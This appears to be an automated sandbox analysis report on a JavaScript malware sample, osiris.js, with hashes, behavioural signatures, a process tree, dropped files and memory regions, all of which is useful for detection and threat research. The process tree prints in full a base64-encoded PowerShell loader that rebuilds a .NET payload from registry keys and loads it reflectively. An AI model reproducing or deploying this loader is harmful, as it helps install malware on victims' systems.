Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    26-01-2021 12:26

General

  • Target

    osiris.js

  • Size

    2.5MB

  • MD5

    e00ccaf47b31887d18ccc6d80aaa2a39

  • SHA1

    60b574bcda0024cf90ec3f7e97db28c58cc79552

  • SHA256

    20d1df07b4e17ee0821043733106bd179a520acd9ec307bdb1703df17cbf6ee7

  • SHA512

    5c3181b5440ac31079c8651d752ad890d84b5ee692b37168866e8c0bef1abfcc8d77311c5df7a7e0e72ad33c9ab999e4b096a199c832e42778565be2ede9c4c6

Malware Config

Signatures

  • Executes dropped EXE 1 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Uses Tor communications 1 TTPs

    Malware can proxy its traffic through Tor for more anonymity.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious use of SetThreadContext 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6969 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 17 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\osiris.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:504
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -En "PAAjACAAegBnAGIAbQBnAHMAdgBpACAAIwA+ACQAdQA9ACQAZQBuAHYAOgBVAHMAZQByAE4AYQBtAGUAOwBmAG8AcgAgACgAJABpAD0AMAA7ACQAaQAgAC0AbABlACAANwAwADAAOwAkAGkAKwArACkAewAkAGMAPQAiAEgASwBDAFUAOgBcAFMATwBGAFQAVwBBAFIARQBcACIAKwAkAHUAKwAiADEAIgA7AFQAcgB5AHsAJABhAD0AJABhACsAKABHAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBwAGEAdABoACAAJABjACkALgAkAGkAfQBDAGEAdABjAGgAewB9AH0AOwBmAHUAbgBjAHQAaQBvAG4AIABjAGgAYgBhAHsAWwBjAG0AZABsAGUAdABiAGkAbgBkAGkAbgBnACgAKQBdAHAAYQByAGEAbQAoAFsAcABhAHIAYQBtAGUAdABlAHIAKABNAGEAbgBkAGEAdABvAHIAeQA9ACQAdAByAHUAZQApAF0AWwBTAHQAcgBpAG4AZwBdACQAaABzACkAOwAkAEIAeQB0AGUAcwAgAD0AIABbAGIAeQB0AGUAWwBdAF0AOgA6AG4AZQB3ACgAJABoAHMALgBMAGUAbgBnAHQAaAAgAC8AIAAyACkAOwBmAG8AcgAoACQAaQA9ADAAOwAgACQAaQAgAC0AbAB0ACAAJABoAHMALgBMAGUAbgBnAHQAaAA7ACAAJABpACsAPQAyACkAewAkAEIAeQB0AGUAcwBbACQAaQAvADIAXQAgAD0AIABbAGMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAeQB0AGUAKAAkAGgAcwAuAFMAdQBiAHMAdAByAGkAbgBnACgAJABpACwAIAAyACkALAAgADEANgApAH0AJABCAHkAdABlAHMAfQA7ACQAaQAgAD0AIAAwADsAVwBoAGkAbABlACAAKAAkAFQAcgB1AGUAKQB7ACQAaQArACsAOwAkAGsAbwAgAD0AIABbAG0AYQB0AGgAXQA6ADoAUwBxAHIAdAAoACQAaQApADsAaQBmACAAKAAkAGsAbwAgAC0AZQBxACAAMQAwADAAMAApAHsAIABiAHIAZQBhAGsAfQB9AFsAYgB5AHQAZQBbAF0AXQAkAGIAIAA9ACAAYwBoAGIAYQAoACQAYQAuAHIAZQBwAGwAYQBjAGUAKAAiACMAIgAsACQAawBvACkAKQA7AFsAUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgAJABiACkAOwBbAE0AbwBkAGUAXQA6ADoAUwBlAHQAdQBwACgAKQA7AA== "
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3704
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -En "PAAjACAAegBnAGIAbQBnAHMAdgBpACAAIwA+ACQAdQA9ACQAZQBuAHYAOgBVAHMAZQByAE4AYQBtAGUAOwBmAG8AcgAgACgAJABpAD0AMAA7ACQAaQAgAC0AbABlACAANwAwADAAOwAkAGkAKwArACkAewAkAGMAPQAiAEgASwBDAFUAOgBcAFMATwBGAFQAVwBBAFIARQBcACIAKwAkAHUAKwAiADEAIgA7AFQAcgB5AHsAJABhAD0AJABhACsAKABHAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBwAGEAdABoACAAJABjACkALgAkAGkAfQBDAGEAdABjAGgAewB9AH0AOwBmAHUAbgBjAHQAaQBvAG4AIABjAGgAYgBhAHsAWwBjAG0AZABsAGUAdABiAGkAbgBkAGkAbgBnACgAKQBdAHAAYQByAGEAbQAoAFsAcABhAHIAYQBtAGUAdABlAHIAKABNAGEAbgBkAGEAdABvAHIAeQA9ACQAdAByAHUAZQApAF0AWwBTAHQAcgBpAG4AZwBdACQAaABzACkAOwAkAEIAeQB0AGUAcwAgAD0AIABbAGIAeQB0AGUAWwBdAF0AOgA6AG4AZQB3ACgAJABoAHMALgBMAGUAbgBnAHQAaAAgAC8AIAAyACkAOwBmAG8AcgAoACQAaQA9ADAAOwAgACQAaQAgAC0AbAB0ACAAJABoAHMALgBMAGUAbgBnAHQAaAA7ACAAJABpACsAPQAyACkAewAkAEIAeQB0AGUAcwBbACQAaQAvADIAXQAgAD0AIABbAGMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAeQB0AGUAKAAkAGgAcwAuAFMAdQBiAHMAdAByAGkAbgBnACgAJABpACwAIAAyACkALAAgADEANgApAH0AJABCAHkAdABlAHMAfQA7ACQAaQAgAD0AIAAwADsAVwBoAGkAbABlACAAKAAkAFQAcgB1AGUAKQB7ACQAaQArACsAOwAkAGsAbwAgAD0AIABbAG0AYQB0AGgAXQA6ADoAUwBxAHIAdAAoACQAaQApADsAaQBmACAAKAAkAGsAbwAgAC0AZQBxACAAMQAwADAAMAApAHsAIABiAHIAZQBhAGsAfQB9AFsAYgB5AHQAZQBbAF0AXQAkAGIAIAA9ACAAYwBoAGIAYQAoACQAYQAuAHIAZQBwAGwAYQBjAGUAKAAiACMAIgAsACQAawBvACkAKQA7AFsAUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgAJABiACkAOwBbAE0AbwBkAGUAXQA6ADoAUwBlAHQAdQBwACgAKQA7AA== "
        3⤵
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2924
        • C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe
          "C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe"
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:3764
          • C:\Users\Admin\AppData\Local\Temp\GetX64BTIT.exe
            "C:\Users\Admin\AppData\Local\Temp\GetX64BTIT.exe"
            5⤵
            • Executes dropped EXE
            PID:3828

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\GetX64BTIT.exe

    MD5

    b4cd27f2b37665f51eb9fe685ec1d373

    SHA1

    7f08febf0fdb7fc9f8bf35a10fb11e7de431abe0

    SHA256

    91f1023142b7babf6ff75dad984c2a35bde61dc9e61f45483f4b65008576d581

    SHA512

    e025f65224d78f5fd0abebe281ac0d44a385b2641e367cf39eed6aefada20a112ac47f94d7febc4424f1db6a6947bac16ff83ef93a8d745b3cddfdbe64c49a1e

  • C:\Users\Admin\AppData\Local\Temp\GetX64BTIT.exe

    MD5

    b4cd27f2b37665f51eb9fe685ec1d373

    SHA1

    7f08febf0fdb7fc9f8bf35a10fb11e7de431abe0

    SHA256

    91f1023142b7babf6ff75dad984c2a35bde61dc9e61f45483f4b65008576d581

    SHA512

    e025f65224d78f5fd0abebe281ac0d44a385b2641e367cf39eed6aefada20a112ac47f94d7febc4424f1db6a6947bac16ff83ef93a8d745b3cddfdbe64c49a1e

  • C:\Users\Admin\AppData\Local\Temp\x64btit.txt

    MD5

    efe080540179c771d3f5fb83ed67a6c6

    SHA1

    880d14b09dd8243bce981a589c8d0ba2d5917247

    SHA256

    1f04cc948752ccf1534fe74074d043a9acab0c02802d1ba8d1aa5d562779dc7a

    SHA512

    efac3dfaf3407eaa7604d9ca424f310df103430767e16c91b203d1d3f7a5f31729173d82d709db52f9b12133b16f0b7b2c66344e79c91cde499544c08964e5c1

  • memory/504-2-0x000001644D8A0000-0x000001644D9A5000-memory.dmp

    Filesize

    1.0MB

  • memory/2924-16-0x00000000083F0000-0x00000000083F1000-memory.dmp

    Filesize

    4KB

  • memory/2924-19-0x0000000009180000-0x0000000009181000-memory.dmp

    Filesize

    4KB

  • memory/2924-8-0x00000000074E0000-0x00000000074E1000-memory.dmp

    Filesize

    4KB

  • memory/2924-9-0x0000000006EA2000-0x0000000006EA3000-memory.dmp

    Filesize

    4KB

  • memory/2924-10-0x0000000007220000-0x0000000007221000-memory.dmp

    Filesize

    4KB

  • memory/2924-11-0x00000000073C0000-0x00000000073C1000-memory.dmp

    Filesize

    4KB

  • memory/2924-12-0x0000000007430000-0x0000000007431000-memory.dmp

    Filesize

    4KB

  • memory/2924-13-0x0000000007CF0000-0x0000000007CF1000-memory.dmp

    Filesize

    4KB

  • memory/2924-14-0x0000000007B30000-0x0000000007B31000-memory.dmp

    Filesize

    4KB

  • memory/2924-15-0x0000000008100000-0x0000000008101000-memory.dmp

    Filesize

    4KB

  • memory/2924-6-0x0000000004BE0000-0x0000000004BE1000-memory.dmp

    Filesize

    4KB

  • memory/2924-17-0x0000000009460000-0x0000000009461000-memory.dmp

    Filesize

    4KB

  • memory/2924-18-0x0000000009110000-0x0000000009111000-memory.dmp

    Filesize

    4KB

  • memory/2924-7-0x0000000006EA0000-0x0000000006EA1000-memory.dmp

    Filesize

    4KB

  • memory/2924-20-0x0000000009A00000-0x0000000009A01000-memory.dmp

    Filesize

    4KB

  • memory/2924-21-0x0000000009200000-0x0000000009202000-memory.dmp

    Filesize

    8KB

  • memory/2924-22-0x00000000095E0000-0x000000000972C000-memory.dmp

    Filesize

    1.3MB

  • memory/2924-30-0x0000000006EA3000-0x0000000006EA4000-memory.dmp

    Filesize

    4KB

  • memory/2924-4-0x0000000000000000-mapping.dmp

  • memory/2924-5-0x0000000073DC0000-0x00000000744AE000-memory.dmp

    Filesize

    6.9MB

  • memory/3704-3-0x0000000000000000-mapping.dmp

  • memory/3764-24-0x0000000000401698-mapping.dmp

  • memory/3764-29-0x0000000000740000-0x00000000007DF000-memory.dmp

    Filesize

    636KB

  • memory/3764-23-0x0000000000400000-0x0000000000456000-memory.dmp

    Filesize

    344KB

  • memory/3764-28-0x0000000000400000-0x0000000000456000-memory.dmp

    Filesize

    344KB

  • memory/3828-25-0x0000000000000000-mapping.dmp